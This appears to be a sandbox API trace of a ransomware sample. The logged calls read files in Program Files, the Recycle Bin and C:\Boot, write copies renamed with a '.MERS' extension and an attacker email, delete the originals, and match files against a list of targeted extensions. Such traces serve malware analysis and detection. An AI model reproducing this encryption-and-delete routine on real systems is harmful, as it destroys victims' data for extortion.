[0052.055] WriteFile (in: hFile=0x220, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0052.055] SetEndOfFile (hFile=0x220) returned 1 [0052.067] CloseHandle (hObject=0x220) returned 1 [0052.067] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.067] SetEndOfFile (hFile=0x21c) returned 1 [0052.068] CloseHandle (hObject=0x21c) returned 1 [0052.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0052.068] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0052.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.366] lstrlenW (lpString=".doc") returned 4 [0052.366] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0052.366] lstrlenW (lpString=".docx") returned 5 [0052.367] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0052.367] lstrlenW (lpString=".pdf") returned 4 [0052.367] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".xls") returned 4 [0052.367] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".xlsx") returned 5 [0052.367] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0052.367] lstrlenW (lpString=".ppt") returned 4 [0052.367] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString=".zip") returned 4 [0052.367] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".rar") returned 4 [0052.367] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".bz2") returned 4 [0052.367] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0052.367] lstrlenW (lpString=".7z") returned 3 [0052.367] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString=".dbf") returned 4 [0052.367] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString=".1cd") returned 4 [0052.367] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString=".jpg") returned 4 [0052.367] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.367] lstrlenW (lpString=".doc") returned 4 [0052.367] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".docx") returned 5 [0052.367] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0052.367] lstrlenW (lpString=".pdf") returned 4 [0052.367] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0052.367] lstrlenW (lpString=".xls") returned 4 [0052.367] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0052.368] lstrlenW (lpString=".xlsx") returned 5 [0052.368] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0052.368] lstrlenW (lpString=".ppt") returned 4 [0052.368] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0052.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.368] lstrlenW (lpString=".zip") returned 4 [0052.368] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0052.368] lstrlenW (lpString=".rar") returned 4 [0052.368] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0052.368] lstrlenW (lpString=".bz2") returned 4 [0052.368] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0052.368] lstrlenW (lpString=".7z") returned 3 [0052.368] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0052.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.368] lstrlenW (lpString=".dbf") returned 4 [0052.368] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0052.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.368] lstrlenW (lpString=".1cd") returned 4 [0052.368] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0052.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0052.368] lstrlenW (lpString=".jpg") returned 4 [0052.368] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0052.368] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0052.368] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0052.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.428] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=280448) returned 1 [0052.428] CloseHandle (hObject=0x21c) returned 1 [0052.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0052.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0052.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0052.429] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.429] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0052.429] GetLastError () returned 0x0 [0052.429] ReadFile (hFile=0x21c, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0) Thread: id = 11 os_tid = 0x9fc [0033.665] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x690640 [0033.666] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x6a0648 [0033.666] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640340 [0033.666] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x62a398 [0033.666] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640358 [0033.666] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3620020 [0033.667] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640400 [0033.667] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640400, Size=0x20) returned 0x66f5c0 [0033.667] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640400 [0033.667] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640400, Size=0x20) returned 0x66f610 [0033.667] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.667] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.667] Wow64DisableWow64FsRedirection (in: OldValue=0x2b8ff58 | out: OldValue=0x2b8ff58*=0x0) returned 1 [0033.667] lstrlenW (lpString="kernel32.dll") returned 12 [0033.667] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.667] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.667] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.667] Sleep (dwMilliseconds=0x64) [0033.863] lstrcmpiW (lpString1=".ini", lpString2=".MERS") returned -1 [0033.863] lstrlenW (lpString="desktop.ini") returned 11 [0033.863] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.863] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=129) returned 1 [0033.863] CloseHandle (hObject=0x18c) returned 1 [0033.863] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0033.863] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.863] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.863] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.864] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.864] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.864] GetLastError () returned 0x0 [0033.864] ReadFile (in: hFile=0x18c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x81, lpOverlapped=0x0) returned 1 [0033.879] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x90, lpOverlapped=0x0) returned 1 [0033.880] ReadFile (in: hFile=0x18c, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.880] WriteFile (in: hFile=0x190, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0033.880] SetEndOfFile (hFile=0x190) returned 1 [0033.880] CloseHandle (hObject=0x190) returned 1 [0033.884] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.884] SetEndOfFile (hFile=0x18c) returned 1 [0033.885] CloseHandle (hObject=0x18c) returned 1 [0033.885] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x26) returned 1 [0033.886] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0033.886] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.886] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.886] lstrlenW (lpString=".doc") returned 4 [0033.886] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.886] lstrlenW (lpString=".docx") returned 5 [0033.886] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.886] lstrlenW (lpString=".pdf") returned 4 [0033.886] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.886] lstrlenW (lpString=".xls") returned 4 [0033.886] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.886] lstrlenW (lpString=".xlsx") returned 5 [0033.886] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.886] lstrlenW (lpString=".ppt") returned 4 [0033.886] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.888] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.888] lstrlenW (lpString=".zip") returned 4 [0033.889] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.889] lstrlenW (lpString=".rar") returned 4 [0033.889] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.889] lstrlenW (lpString=".bz2") returned 4 [0033.889] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.889] lstrlenW (lpString=".7z") returned 3 [0033.889] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.889] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.889] lstrlenW (lpString=".dbf") returned 4 [0033.889] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.889] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.889] lstrlenW (lpString=".1cd") returned 4 [0033.889] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.889] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.889] lstrlenW (lpString=".jpg") returned 4 [0033.889] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.889] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.889] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.889] lstrlenW (lpString=".doc") returned 4 [0033.889] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.889] lstrlenW (lpString=".docx") returned 5 [0033.889] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.889] lstrlenW (lpString=".pdf") returned 4 [0033.889] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.889] lstrlenW (lpString=".xls") returned 4 [0033.889] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.889] lstrlenW (lpString=".xlsx") returned 5 [0033.890] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.890] lstrlenW (lpString=".ppt") returned 4 [0033.890] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.890] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.890] lstrlenW (lpString=".zip") returned 4 [0033.890] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.890] lstrlenW (lpString=".rar") returned 4 [0033.890] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.890] lstrlenW (lpString=".bz2") returned 4 [0033.890] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.890] lstrlenW (lpString=".7z") returned 3 [0033.890] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.890] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.890] lstrlenW (lpString=".dbf") returned 4 [0033.890] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.890] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.890] lstrlenW (lpString=".1cd") returned 4 [0033.890] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.890] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.890] lstrlenW (lpString=".jpg") returned 4 [0033.890] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0033.890] lstrcmpiW (lpString1=".LOG", lpString2=".MERS") returned -1 [0033.890] lstrlenW (lpString="BCD.LOG") returned 7 [0033.890] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.891] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.891] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.891] lstrlenW (lpString=".doc") returned 4 [0033.891] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.891] lstrlenW (lpString=".docx") returned 5 [0033.891] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.891] lstrlenW (lpString=".pdf") returned 4 [0033.891] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.891] lstrlenW (lpString=".xls") returned 4 [0033.891] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.891] lstrlenW (lpString=".xlsx") returned 5 [0033.891] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.891] lstrlenW (lpString=".ppt") returned 4 [0033.891] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.891] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.891] lstrlenW (lpString=".zip") returned 4 [0033.891] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.891] lstrlenW (lpString=".rar") returned 4 [0033.891] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.891] lstrlenW (lpString=".bz2") returned 4 [0033.891] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.891] lstrlenW (lpString=".7z") returned 3 [0033.891] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.891] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.891] lstrlenW (lpString=".dbf") returned 4 [0033.891] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.891] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.891] lstrlenW (lpString=".1cd") returned 4 [0033.891] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString=".jpg") returned 4 [0033.892] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString=".doc") returned 4 [0033.892] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString=".docx") returned 5 [0033.892] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0033.892] lstrlenW (lpString=".pdf") returned 4 [0033.892] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0033.892] lstrlenW (lpString=".xls") returned 4 [0033.892] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0033.892] lstrlenW (lpString=".xlsx") returned 5 [0033.892] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0033.892] lstrlenW (lpString=".ppt") returned 4 [0033.892] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString=".zip") returned 4 [0033.892] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0033.892] lstrlenW (lpString=".rar") returned 4 [0033.892] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0033.892] lstrlenW (lpString=".bz2") returned 4 [0033.892] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString=".7z") returned 3 [0033.892] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString=".dbf") returned 4 [0033.892] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.892] lstrlenW (lpString=".1cd") returned 4 [0033.892] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0033.892] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0033.893] lstrlenW (lpString=".jpg") returned 4 [0033.893] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0033.893] lstrcmpiW (lpString1=".DAT", lpString2=".MERS") returned -1 [0033.893] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0033.893] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.893] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=65536) returned 1 [0033.893] CloseHandle (hObject=0x190) returned 1 [0033.893] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0033.893] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.893] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0033.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.893] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.893] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0033.894] GetLastError () returned 0x0 [0033.894] ReadFile (in: hFile=0x190, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x10000, lpOverlapped=0x0) returned 1 [0033.896] WriteFile (in: hFile=0x194, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x10010, lpOverlapped=0x0) returned 1 [0033.898] ReadFile (in: hFile=0x190, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.898] WriteFile (in: hFile=0x194, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0033.898] SetEndOfFile (hFile=0x194) returned 1 [0033.898] CloseHandle (hObject=0x194) returned 1 [0033.899] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.899] SetEndOfFile (hFile=0x190) returned 1 [0033.900] CloseHandle (hObject=0x190) returned 1 [0033.900] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x26) returned 1 [0033.900] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0033.900] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.900] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0033.901] lstrlenW 